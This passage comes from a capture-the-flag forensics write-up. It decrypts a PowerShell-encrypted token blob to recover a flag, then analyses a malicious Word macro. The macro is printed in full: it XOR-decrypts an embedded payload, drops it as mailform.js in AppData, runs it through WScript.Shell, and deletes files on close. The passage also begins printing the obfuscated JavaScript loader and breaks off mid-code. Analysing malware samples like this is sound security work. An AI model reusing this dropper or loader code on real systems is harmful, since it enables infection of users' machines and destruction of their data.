punctuation\">{</span><span class=\"token variable\">$aesManaged</span><span class=\"token punctuation\">.</span>Mode = <span class=\"token namespace\">[System.Security.Cryptography.CipherMode]</span>::CFB<span class=\"token punctuation\">}</span>\n    <span class=\"token keyword\">elseif</span> <span class=\"token punctuation\">(</span><span class=\"token variable\">$mode</span>=<span class=\"token string\">\"CTS\"</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span><span class=\"token variable\">$aesManaged</span><span class=\"token punctuation\">.</span>Mode = <span class=\"token namespace\">[System.Security.Cryptography.CipherMode]</span>::CTS<span class=\"token punctuation\">}</span>\n    <span class=\"token keyword\">elseif</span> <span class=\"token punctuation\">(</span><span class=\"token variable\">$mode</span>=<span class=\"token string\">\"ECB\"</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span><span class=\"token variable\">$aesManaged</span><span class=\"token punctuation\">.</span>Mode = <span class=\"token namespace\">[System.Security.Cryptography.CipherMode]</span>::ECB<span class=\"token punctuation\">}</span>\n    <span class=\"token keyword\">elseif</span> <span class=\"token punctuation\">(</span><span class=\"token variable\">$mode</span>=<span class=\"token string\">\"OFB\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">{</span><span class=\"token variable\">$aesManaged</span><span class=\"token punctuation\">.</span>Mode = <span class=\"token namespace\">[System.Security.Cryptography.CipherMode]</span>::OFB<span class=\"token punctuation\">}</span>\n\n\n    <span class=\"token variable\">$aesManaged</span><span class=\"token punctuation\">.</span>Padding = <span class=\"token namespace\">[System.Security.Cryptography.PaddingMode]</span>::PKCS7\n    <span class=\"token variable\">$aesManaged</span><span class=\"token punctuation\">.</span>BlockSize = 128\n    <span class=\"token variable\">$aesManaged</span><span class=\"token punctuation\">.</span>KeySize = 256\n    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token variable\">$IV</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n        <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token variable\">$IV</span><span class=\"token punctuation\">.</span>getType<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span>Name <span class=\"token operator\">-eq</span> <span class=\"token string\">\"String\"</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n            <span class=\"token variable\">$aesManaged</span><span class=\"token punctuation\">.</span>IV = <span class=\"token namespace\">[System.Convert]</span>::FromBase64String<span class=\"token punctuation\">(</span><span class=\"token variable\">$IV</span><span class=\"token punctuation\">)</span>\n        <span class=\"token punctuation\">}</span>\n        <span class=\"token keyword\">else</span> <span class=\"token punctuation\">{</span>\n            <span class=\"token variable\">$aesManaged</span><span class=\"token punctuation\">.</span>IV = <span class=\"token variable\">$IV</span>\n        <span class=\"token punctuation\">}</span>\n    <span class=\"token punctuation\">}</span>\n    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token variable\">$key</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n        <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token variable\">$key</span><span class=\"token punctuation\">.</span>getType<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span>Name <span class=\"token operator\">-eq</span> <span class=\"token string\">\"String\"</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n            <span class=\"token variable\">$aesManaged</span><span class=\"token punctuation\">.</span>Key = <span class=\"token namespace\">[System.Convert]</span>::FromBase64String<span class=\"token punctuation\">(</span><span class=\"token variable\">$key</span><span class=\"token punctuation\">)</span>\n        <span class=\"token punctuation\">}</span>\n        <span class=\"token keyword\">else</span> <span class=\"token punctuation\">{</span>\n            <span class=\"token variable\">$aesManaged</span><span class=\"token punctuation\">.</span>Key = <span class=\"token variable\">$key</span>\n        <span class=\"token punctuation\">}</span>\n    <span class=\"token punctuation\">}</span>\n    <span class=\"token variable\">$aesManaged</span>\n<span class=\"token punctuation\">}</span>\n<span class=\"token variable\">$key</span> = <span class=\"token string\">\"Y1dwaHJOVGs5d2dXWjkzdDE5amF5cW5sYUR1SWVGS2k=\"</span>\n<span class=\"token variable\">$aesManaged</span> = Create-AesManagedObject <span class=\"token variable\">$key</span>\n<span class=\"token variable\">$aesManaged</span><span class=\"token punctuation\">.</span>IV = <span class=\"token namespace\">[Convert]</span>::FromBase64String<span class=\"token punctuation\">(</span><span class=\"token string\">\"bEG+rGcRyYKeqlzXb0QVVQ==\"</span><span class=\"token punctuation\">)</span>\n<span class=\"token variable\">$aesManaged</span>\n\n<span class=\"token variable\">$decryptor</span> = <span class=\"token variable\">$aesManaged</span><span class=\"token punctuation\">.</span>CreateDecryptor<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token variable\">$encryptedBytes</span> = <span class=\"token namespace\">[Convert]</span>::FromBase64String<span class=\"token punctuation\">(</span><span class=\"token string\">\"G8WnkT2+aVJIbem8NMAahtrTlTG96nC/77S5Z7UyfguIgidmI0L8RLW1LtKbOZtz31Vx32HnUqADlGzW3xPnkSvmJzgWWgHNDu2mKfD32QLfzRZFpZyrUJzyJDqVkE//Kom4ux8tOlJjfIh5LCrxn226y/m5a930T1XQeHYHCTksMxifLBnDriGwfzK4T+7+Uy8/iBv46wccE9xZep1vgOWLCFbBuUOEkHjTbZQLZ4QwjR9wd7XEHMFI3JjzGqmjJoBpEeJPFNlouSt+ENSCb5zTM4Q3xvKE6J9mEImpLu1+hMdQvhWH7UB4FNNROmu11uardhSFfoANOsQGLmBdBtIjmvXDPevfsDvVnikcecCglM7S6uogKGkGKEVZ9ix2gyY7vu9mZ008OjVSDaPKdnND82Styg0CsE0h9uiIGduYK8VzXHAcUYvgk92N7yzdwzYo/YQMvfv31WonDeVagVfSgGCQWL4NEp+ibbRd0QKkjNb2J0nR66vEvF4ZLgkjefeOXh8hUPPC91iv6Hq6IFRF4CmpF7UFqxHx6dXho2j4i+x2eHNGKH6ump20JNZOOXNRcTRhJOSfGJGIF9i21G6U7rPHhK8k2lnWo6RLVRbbT/bFQ7fLLvpaH0k8MJXs4y8iEQcMWH8X+O9HbK31FMUh37NG3XYF/KNuLyt63tA3Tt2WkhymkoojzI3OoHgU\"</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token variable\">$memoryStream</span> = <span class=\"token function\">New-Object</span> <span class=\"token string\">\"System.IO.MemoryStream\"</span>\n<span class=\"token variable\">$cryptoStream</span> = <span class=\"token function\">New-Object</span> <span class=\"token string\">\"System.Security.Cryptography.CryptoStream\"</span> <span class=\"token punctuation\">(</span><span class=\"token variable\">$memoryStream</span><span class=\"token punctuation\">,</span> <span class=\"token variable\">$decryptor</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"Write\"</span><span class=\"token punctuation\">)</span>\n<span class=\"token variable\">$cryptoStream</span><span class=\"token punctuation\">.</span><span class=\"token function\">Write</span><span class=\"token punctuation\">(</span><span class=\"token variable\">$encryptedBytes</span><span class=\"token punctuation\">,</span> 0<span class=\"token punctuation\">,</span> <span class=\"token variable\">$encryptedBytes</span><span class=\"token punctuation\">.</span>Length<span class=\"token punctuation\">)</span>\n<span class=\"token variable\">$cryptoStream</span><span class=\"token punctuation\">.</span>FlushFinalBlock<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token variable\">$decryptedBytes</span> = <span class=\"token variable\">$memoryStream</span><span class=\"token punctuation\">.</span>ToArray<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n<span class=\"token variable\">$memoryStream</span><span class=\"token punctuation\">.</span>Close<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n<span class=\"token variable\">$cryptoStream</span><span class=\"token punctuation\">.</span>Close<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n<span class=\"token variable\">$decryptedText</span> = <span class=\"token namespace\">[System.Text.Encoding]</span>::UTF8<span class=\"token punctuation\">.</span>GetString<span class=\"token punctuation\">(</span><span class=\"token variable\">$decryptedBytes</span><span class=\"token punctuation\">)</span>\n<span class=\"token function\">Write-Output</span> <span class=\"token variable\">$decryptedText</span></code></pre></div>\n<p>This yields the following plaintext.</p>\n<div class=\"gatsby-highlight\" data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\"><span class=\"token punctuation\">[</span>\n    <span class=\"token punctuation\">{</span>\n        <span class=\"token string\">\"ID\"</span><span class=\"token builtin class-name\">:</span>  <span class=\"token string\">\"1212103240066535494\"</span>,\n        <span class=\"token string\">\"Email\"</span><span class=\"token builtin class-name\">:</span>  <span class=\"token string\">\"YjNXNHIzXzBmX1QwMF9nMDBkXzJfYjNfN3J1M18wZmYzcjV9\"</span>,\n        <span class=\"token string\">\"GlobalName\"</span><span class=\"token builtin class-name\">:</span>  <span class=\"token string\">\"phreaks_admin\"</span>,\n        <span class=\"token string\">\"Token\"</span><span class=\"token builtin class-name\">:</span>  <span class=\"token string\">\"MoIxtjEwMz20M5ArNjUzNTQ5NA.Gw3-GW.bGyEkOVlZCsfQ8-6FQnxc9sMa15h7UP3cCOFNk\"</span>\n    <span class=\"token punctuation\">}</span>,\n    <span class=\"token punctuation\">{</span>\n        <span class=\"token string\">\"ID\"</span><span class=\"token builtin class-name\">:</span>  <span class=\"token string\">\"1212103240066535494\"</span>,\n        <span class=\"token string\">\"Email\"</span><span class=\"token builtin class-name\">:</span>  <span class=\"token string\">\"YjNXNHIzXzBmX1QwMF9nMDBkXzJfYjNfN3J1M18wZmYzcjV9\"</span>,\n        <span class=\"token string\">\"GlobalName\"</span><span class=\"token builtin class-name\">:</span>  <span class=\"token string\">\"phreaks_admin\"</span>,\n        <span class=\"token string\">\"Token\"</span><span class=\"token builtin class-name\">:</span>  <span class=\"token string\">\"MoIxtjEwMz20M5ArNjUzNTQ5NA.Gw3-GW.bGyEkOVlZCsfQ8-6FQnxc9sMa15h7UP3cCOFNk\"</span>\n    <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">]</span></code></pre></div>\n<p>The first half of the flag is hardcoded as <code class=\"language-text\">$part1 = \"SFRCe2ZyMzNfTjE3cjBHM25fM3hwMDUzZCFf\"</code>, so decoding this allowed us to obtain the flag string.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 666px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/2e68e52148b272b3bd6811d489c5c8f3/ace37/image-20240311000353231.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 51.66666666666666%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA8UlEQVQoz7WSzU7DMBCE/f5vBQcQSCUViLQFcQCkgkji2HFCvXaSwes4ogUOSBRLn2Z21/+22D6fQRYXMHoJozLoOkOTMDp5lQhey8mbFBs1jTP6BkQ7CNtd4r05RasnjDpBx1oHnfMhxzHXWvXZh/PTOO57jmEgCBy5iXEccDzGf9ghEYFxjuC9/wUu8XNdyFJCljU89ehdD89Q0kQ/5/YgS7DWfkPcPa6wecpRtq94My+RgrU59EWoR2K8Rbdrw2I+nMwdIB7ULe6ba6yrDOvwx1bVVdQ5Zs2LRfSbehnJqwWMVfHO+CH2+dOj8ARf2wf/6gRGfwUTggAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/2e68e52148b272b3bd6811d489c5c8f3/8ac56/image-20240311000353231.webp 240w,\n/static/2e68e52148b272b3bd6811d489c5c8f3/d3be9/image-20240311000353231.webp 480w,\n/static/2e68e52148b272b3bd6811d489c5c8f3/be082/image-20240311000353231.webp 666w\"\n              sizes=\"(max-width: 666px) 100vw, 666px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/2e68e52148b272b3bd6811d489c5c8f3/8ff5a/image-20240311000353231.png 240w,\n/static/2e68e52148b272b3bd6811d489c5c8f3/e85cb/image-20240311000353231.png 480w,\n/static/2e68e52148b272b3bd6811d489c5c8f3/ace37/image-20240311000353231.png 666w\"\n            sizes=\"(max-width: 666px) 100vw, 666px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/2e68e52148b272b3bd6811d489c5c8f3/ace37/image-20240311000353231.png\"\n            alt=\"image-20240311000353231\"\n            title=\"image-20240311000353231\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<h2 id=\"game-invitationforensic\" style=\"position:relative;\"><a href=\"#game-invitationforensic\" aria-label=\"game invitationforensic permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Game Invitation(Forensic)</h2>\n<blockquote>\n<p>In the bustling city of KORP™, where factions vie in The Fray, a mysterious game emerges. As a seasoned faction member, you feel the tension growing by the minute. Whispers spread of a new challenge, piquing both curiosity and wariness. Then, an email arrives: “Join The Fray: Embrace the Challenge.” But lurking beneath the excitement is a nagging doubt. Could this invitation hide something more sinister within its innocent attachment?</p>\n</blockquote>\n<p>A Word document with macros is provided as the challenge file.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 960px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/2343c63ca8610fdaffdb6d29f8ae4f8b/a9965/image-20240311211250173.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 72.5%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAYAAAAvxDzwAAAACXBIWXMAAAsTAAALEwEAmpwYAAACuElEQVQ4y52SW0iTYRjHP507uLnyECKZaHSAouwEEV1F1Covyu4EyTTDzcMsdWqI5EUFaeqmF3khQSGpbOo2MrOIipS6mCWms8OFsG+bLtnJ4bZkh3/f9zoRmVH0wP/7Pp73//ze53uflxodm8Hw2yk8ezOJkXdTGHz1GT36j3j9wYhJ4xwMMyZMf6fxhdH0DxpT30wYHZ/FyHsj0YuxWbwc/8rkjGBZlMthA22aw5JzEUAAv3wehAM+IOSHd8kO95KHyYfx5wgyZYw/6CeizBYrbD8XYZj4BM3AINRqDdSaAUYaov7+XmjUami1Q9Dp9dDp9BjS6qBl3qzPYJiA3W7HwoINNpsNFE3T8Pl8aH7QCoqiosRPEmP73mwIElM3Xa+8WYXl5WWYTDSsVusa0IvWdhX4IjHOX8hBwdVCVFTIIcm5iOrGu1B29+J2cyfy8gtw5qwERdeKUV4uh0i8FVU1Cni9XtC0GfPz8+sdtrUryY7pGZlISU3DoSNHIZVXo+XhE7R2PUZPnwYNTXew/0A2xInJyNq1m/hrFLWkQ5az3iGzQ7tSRQwcngBUTBy4Qi6On5NA0daJxo5u3Ot+hFOXc8ERcEFxeIjl8YlfUVe/ObBNudqhgPltrkCIOIEIaftOoLipC4UNKpzOy0fm4ZNMPgFx/HjiI8DaumggewZKVQcxCJlz4QsTINySjJSMPTgoycWxS9eRmJ6GpB1ZJM+LFxEf66+rvxUN9Pt9uN/cEj3FWAFiErZBkLqTOQYeqPhkJs/Z4JFX3ogMJQI0m81wuZwYHn6OgsIiyMrKUSIrJZLKyohKpDJISyPfkTXWd4W5DU97++B0OmGxWFaB7KhZqJdp+39iZWWF1LMccm3YB0t3OBwIBoMIBAL/rFAoBLfbTeqjgC6Xi+wYDoeJ/hZrHo/HswH4G8ztGebs2gdQAAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/2343c63ca8610fdaffdb6d29f8ae4f8b/8ac56/image-20240311211250173.webp 240w,\n/static/2343c63ca8610fdaffdb6d29f8ae4f8b/d3be9/image-20240311211250173.webp 480w,\n/static/2343c63ca8610fdaffdb6d29f8ae4f8b/e46b2/image-20240311211250173.webp 960w,\n/static/2343c63ca8610fdaffdb6d29f8ae4f8b/37778/image-20240311211250173.webp 1171w\"\n              sizes=\"(max-width: 960px) 100vw, 960px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/2343c63ca8610fdaffdb6d29f8ae4f8b/8ff5a/image-20240311211250173.png 240w,\n/static/2343c63ca8610fdaffdb6d29f8ae4f8b/e85cb/image-20240311211250173.png 480w,\n/static/2343c63ca8610fdaffdb6d29f8ae4f8b/d9199/image-20240311211250173.png 960w,\n/static/2343c63ca8610fdaffdb6d29f8ae4f8b/a9965/image-20240311211250173.png 1171w\"\n            sizes=\"(max-width: 960px) 100vw, 960px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/2343c63ca8610fdaffdb6d29f8ae4f8b/d9199/image-20240311211250173.png\"\n            alt=\"image-20240311211250173\"\n            title=\"image-20240311211250173\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>First, I extracted the macro script using <code class=\"language-text\">python3 olevba.py ~/win/forensics_game_invitation/invitation.docm</code>.</p>\n<div class=\"gatsby-highlight\" data-language=\"vbscript\"><pre class=\"language-vbscript\"><code class=\"language-vbscript\">Function xor_string(given_string() As Byte, length As Long) As Boolean\nDim xor_key As Byte\nxor_key = 45\nFor i = 0 To length - 1\ngiven_string(i) = given_string(i) Xor xor_key\nxor_key = ((xor_key Xor 99) Xor (i Mod 254))\nNext i\nxor_string_True = True\nEnd Function\n\nSub AutoClose() &#39;delete the js script&#39;\nOn Error Resume Next\nKill IAiiymixt\nOn Error Resume Next\nSet Scripting_FileSystemObject = CreateObject(&quot;Scripting.FileSystemObject&quot;)\nScripting_FileSystemObject.DeleteFile appdata_folder &amp; &quot;\\*.*&quot;, True\nSet Scripting_FileSystemObject = Nothing\nEnd Sub\n\nSub AutoOpen()\n    On Error GoTo MnOWqnnpKXfRO\n    Dim chkDomain As String\n    Dim strUserDomain As String\n    chkDomain = &quot;GAMEMASTERS.local&quot;\n    strUserDomain = Environ$(&quot;UserDomain&quot;)\n    If chkDomain &lt;&gt; strUserDomain Then\n\n    Else\n\n    Dim FreeFile_num\n    Dim file_length As Long\n    Dim length As Long\n    file_length = FileLen(ActiveDocument.FullName)\n    FreeFile_num = FreeFile\n    Open (ActiveDocument.FullName) For Binary As #FreeFile_num\n\n    Dim byte_array1() As Byte\n    ReDim byte_array1(file_length)\n    \n    Get #FreeFile_num, 1, byte_array1\n    Dim byte_array1_to_unicode As String\n    byte_array1_to_unicode = StrConv(byte_array1, vbUnicode)\n\n    Dim matched_data, pattern_matched_array\n    Dim regexp_obj\n    Set regexp_obj = CreateObject(&quot;vbscript.regexp&quot;)\n    regexp_obj.Pattern = &quot;sWcDWp36x5oIe2hJGnRy1iC92AcdQgO8RLioVZWlhCKJXHRSqO450AiqLZyLFeXYilCtorg0p3RdaoPa&quot;\n    Set pattern_matched_array = regexp_obj.Execute(byte_array1_to_unicode)\n\n    Dim mached_offset\n    For Each matched_data In pattern_matched_array\n        mached_offset = matched_data.FirstIndex\n    Exit Fors\n    Next\n\n    Dim byte_string() As Byte\n    Dim long_num As Long\n    long_num = 13082\n    ReDim byte_string(long_num)\n    Get #FreeFile_num, mached_offset + 81, byte_string\n    xor_string( (), long_num + 1)\n    \n    appdata_folder = Environ(&quot;appdata&quot;) &amp; &quot;\\Microsoft\\Windows&quot;\n    Set Scripting_FileSystemObject = CreateObject(&quot;Scripting.FileSystemObject&quot;)\n    If Not Scripting_FileSystemObject.FolderExists(appdata_folder) Then\n    appdata_folder = Environ(&quot;appdata&quot;)\n    End If\n    \n    Set Scripting_FileSystemObject = Nothing\n    Dim K764B5Ph46Vh\n    K764B5Ph46Vh = FreeFile\n    IAiiymixt = appdata_folder &amp; &quot;\\&quot; &amp; &quot;mailform.js&quot;\n    Open (IAiiymixt) For Binary As #K764B5Ph46Vh\n    Put #K764B5Ph46Vh, 1, byte_string\n    Close #K764B5Ph46Vh\n    Erase byte_string\n    Set R66BpJMgxXBo2h = CreateObject(&quot;WScript.Shell&quot;)\n    R66BpJMgxXBo2h.Run &quot;&quot;&quot;&quot; + IAiiymixt + &quot;&quot;&quot;&quot; + &quot; vF8rdgMHKBrvCoCp0ulm&quot;\n    ActiveDocument.Save\n    Exit Sub\n    MnOWqnnpKXfRO:\n    Close #K764B5Ph46Vh\n    ActiveDocument.Save\n    End If\nEnd Sub</code></pre></div>\n<p>Reference: <a href=\"https://github.com/decalage2/oletools/releases/tag/v0.60.1\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">Release oletools v0.60.1 · decalage2/oletools</a></p>\n<p>This macro script extracts specific byte sequences from the Word file’s own data, performs XOR decryption, saves the result as mailform.js, and executes it using WScript.Shell.</p>\n<p>The mailform.js saved here was an obfuscated JavaScript file.</p>\n<div class=\"gatsby-highlight\" data-language=\"javascript\"><pre class=\"language-javascript\"><code class=\"language-javascript\"><span class=\"token keyword\">var</span> lVky<span class=\"token operator\">=</span>WScript<span class=\"token punctuation\">.</span>Arguments<span class=\"token punctuation\">;</span><span class=\"token keyword\">var</span> DASz<span class=\"token operator\">=</span><span class=\"token function\">lVky</span><span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span><span class=\"token keyword\">var</span> Iwlh<span class=\"token operator\">=</span><span class=\"token function\">lyEK</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>Iwlh<span class=\"token operator\">=</span><span class=\"token function\">JrvS</span><span class=\"token punctuation\">(</span>Iwlh<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>Iwlh<span class=\"token operator\">=</span><span class=\"token function\">xR68</span><span class=\"token punctuation\">(</span>DASz<span class=\"token punctuation\">,</span>Iwlh<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span><span class=\"token function\">eval</span><span class=\"token punctuation\">(</span>Iwlh<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span><span class=\"token keyword\">function</span> <span class=\"token function\">af5Q</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">r</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">{</span><span class=\"token keyword\">var</span> a<span class=\"token operator\">=</span>r<span class=\"token punctuation\">.</span><span class=\"token function\">charCodeAt</span><span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span><span class=\"token keyword\">if</span><span class=\"token punctuation\">(</span>a<span class=\"token operator\">===</span><span class=\"token number\">43</span><span class=\"token operator\">||</span>a<span class=\"token operator\">===</span><span class=\"token number\">45</span><span class=\"token punctuation\">)</span><span class=\"token keyword\">return</span> <span class=\"token number\">62</span><span class=\"token punctuation\">;</span><span class=\"token keyword\">if</span><span class=\"token punctuation\">(</span>a<span class=\"token operator\">===</span><span class=\"token number\">47</span><span class=\"token operator\">||</span>a<span class=\"token operator\">===</span><span class=\"token number\">95</span><span class=\"token punctuation\">)</span><span class=\"token keyword\">return</span> <span class=\"token number\">63</span><span class=\"token punctuation\">;</span><span class=\"token keyword\">if</span><span class=\"token punctuation\">(</span>a<span class=\"token operator\">&lt;</span><span class=\"token number\">48</span><span class=\"token punctuation\">)</span><span class=\"token keyword\">return</span><span class=\"token operator\">-</span><span class=\"token number\">1</span><span class=\"token punctuation\">;</span><span class=\"token keyword\">if</span><span class=\"token punctuation\">(</span>a<span class=\"token operator\">&lt;</span><span class=\"token number\">48</span><span class=\"token operator\">+</span><span class=\"token number\">10</span><span class=\"token punctuation\">)</span><span class=\"token keyword\">return</span> a<span class=\"token operator\">-</span><span class=\"token number\">48</span><span class=\"token operator\">+</span><span class=\"token number\">26</span><span class=\"token operator\">+</span><span class=\"token number\">26</span><span class=\"token punctuation\">;</span><span class=\"token keyword\">if</span><span class=\"token punctuation\">(</span>a<span class=\"token operator\">&lt;</span><span class=\"token number\">65</span><span class=\"token operator\">+</span><span class=\"token number\">26</span><span class=\"token punctuation\">)</span><span class=\"token keyword\">return</span> a<span class=\"token operator\">-</span><span class=\"token number\">65</span><span class=\"token punctuation\">;</span><span class=\"token keyword\">if</span><span class=\"token punctuation\">(</span>a<span class=\"token operator\">&lt;</span><span class=\"token number\">97</span><span class=\"token operator\">+</span><span class=\"token number\">26</span><span class=\"token punctuation\">)</span><span class=\"token keyword\">return</span> a<span class=\"token operator\">-</span><span class=\"token number\">97</span><span class=\"token operator\">+</span><span class=\"token number\">26</span><span class=\"token punctuation\">}</span><span class=\"token keyword\">function</span> <span class=\"token function\">JrvS</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">r</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">{</span><span class=\"token keyword\">var</span> a<span class=\"token operator\">=</span><span class=\"token string\">\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"</span><span class=\"token punctuation\">;</span><span class=\"token keyword\">var</span> t<span class=\"token punctuation\">;</span><span class=\"token keyword\">var</span> l<span class=\"token punctuation\">;</span><span class=\"token keyword\">var</span> h<span class=\"token punctuation\">;</span><span class=\"token keyword\">if</span><span class=\"token punctuation\">(</span>r<span class=\"token punctuation\">.</span>length<span class=\"token operator\">%</span><span class=\"token number\">4</span><span class=\"token operator\">></span><span class=\"token number\">0</span><span class=\"token punctuation\">)</span><span class=\"token keyword\">return</span><span class=\"token punctuation\">;</span><span class=\"token keyword\">var</span> u<span class=\"token operator\">=</span>r<span class=\"token punctuation\">.</span>length<span class=\"token punctuation\">;</span><span class=\"token keyword\">var</span> g<span class=\"token operator\">=</span>r<span class=\"token punctuation\">.</span><span class=\"token function\">charAt</span><span class=\"token punctuation\">(</span>u<span class=\"token operator\">-</span><span class=\"token number\">2</span><span class=\"token punctuation\">)</span><span class=\"token operator\">===</span><span class=\"token string\">\"=\"</span><span class=\"token operator\">?</span><span class=\"token number\">2</span><span class=\"token operator\">:</span>r<span class=\"token punctuation\">.</span><span class=\"token function\">charAt</span><span class=\"token punctuation\">(</span>u<span class=\"token operator\">-</span><span class=\"token number\">1</span><span class=\"token punctuation\">)</span><span class=\"token operator\">===</span><span class=\"token string\">\"=\"</span><span class=\"token operator\">?</span><span class=\"token number\">1</span><span class=\"token operator\">:</span><span class=\"token number\">0</span><span class=\"token punctuation\">;</span><span class=\"token keyword\">var</span> n<span class=\"token operator\">=</span><span class=\"token keyword\">new</span> <span class=\"token class-name\">Array</span><span class=\"token punctuation\">(</span>r<span class=\"token punctuation\">.</span>length<span class=\"token operator\">*</span><span class=\"token number\">3</span><span class=\"token operator\">/</span><span class=\"token number\">4</span><span class=\"token operator\">-</span>g<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span><span class=\"token keyword\">var</span> i<span class=\"token operator\">=</span>g<span class=\"token operator\">></span><span class=\"token number\">0</span><span class=\"token operator\">?</span>r<span class=\"token punctuation\">.</span>length<span class=\"token operator\">-</span><span class=\"token number\">4</span><span class=\"token operator\">:</span>r<span class=\"token punctuation\">.</span>length<span class=\"token punctuation\">;</span><span class=\"token keyword\">var</span> z<span class=\"token operator\">=</span><span class=\"token number\">0</span><span class=\"token punctuation\">;</span><span class=\"token keyword\">function</span> <span class=\"token function\">b</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">r</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">{</span>n<span class=\"token punctuation\">[</span>z<span class=\"token operator\">++</span><span class=\"token punctuation\">]</span><span class=\"token operator\">=</span>r<span class=\"token punctuation\">}</span><span class=\"token keyword\">for</span><span class=\"token punctuation\">(</span>t<span class=\"token operator\">=</span><span class=\"token number\">0</span><span class=\"token punctuation\">,</span>l<span class=\"token operator\">=</span><span class=\"token number\">0</span><span class=\"token punctuation\">;</span>t<span class=\"token operator\">&lt;</span>i<span class=\"token punctuation\">;</span>t<span class=\"token operator\">+=</span><span class=\"token number\">4</span><span class=\"token punctuation\">,</span>l<span class=\"token operator\">+=</span><span class=\"token number\">3</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">{</span>h<span class=\"token operator\">=</span><span class=\"token function\">af5Q</span><span class=\"token punctuation\">(</span>r<span class=\"token punctuation\">.</span><span class=\"token function\">charAt</span><span class=\"token punctuation\">(</span>t<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token operator\">&lt;&lt;</span><span class=\"token number\">18</span><span class=\"token operator\">|</span><span class=\"token function\">af5Q</span><span class=\"token punctuation\">(</span>r<span class=\"token punctuation\">.</span><span class=\"token function\">charAt</span><span 